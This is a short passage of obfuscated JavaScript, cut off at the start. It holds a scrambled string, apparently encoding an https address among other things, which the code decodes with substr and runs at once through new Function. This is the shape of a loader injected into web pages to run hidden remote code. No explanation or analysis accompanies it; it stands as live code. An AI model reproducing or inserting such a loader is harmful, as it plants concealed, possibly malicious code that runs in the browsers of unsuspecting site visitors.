0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}sos(qTqCLmfhY)qRDm(O^gQ1KQ"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();